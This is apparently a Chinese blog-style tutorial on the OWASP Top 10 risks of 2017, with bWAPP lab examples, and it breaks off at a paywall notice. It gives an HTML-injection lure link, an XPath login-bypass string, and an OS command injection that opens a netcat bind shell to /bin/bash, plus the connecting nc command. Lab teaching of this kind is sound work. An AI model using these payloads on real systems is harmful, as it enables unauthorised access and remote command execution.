本文详细介绍了OWASP 2017年列出的十大安全风险，包括注入、失效的身份认证、敏感数据泄露、XML外部实体(XXE)、失效的访问控制、安全配置错误、跨站脚本(XSS)、不安全的反序列化、使用已知漏洞的组件以及不足的日志记录和监控。通过实例展示了这些风险如何导致系统漏洞，以及攻击者可能利用的手段。
参考 http://www.owasp.org.cn/owasp-project/2017-owasp-top-10/
靶机全家桶 https://sourceforge.net/projects/owaspbwa/
A1-注入
注入非常常见例如:SQL,LDAP,XPath,OS命令,XML,SMTP,ORM等等.通过代码审计,扫描工具,手工测试等,可很快发现漏洞.
产生这种漏洞的原因是web程序缺少对输入数据进行安全检查,导致攻击者把包含指令数据发送给解释器.
bwapp HTML Injection - Reflected (GET)的注入
<a href=http://baidu.com>快点我领取</a>XML/XPath Injection (Login Form)
test' or 1=1 or 'a'='aOS Command Injection
www.nsa.gov && nc -vlp 4444 -e / bin / bash链接成功
~# nc -vv 192.168.1.106 4444
192.168.1.106: inverse host
最低0.47元/天 解锁文章
扫一扫
1849
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
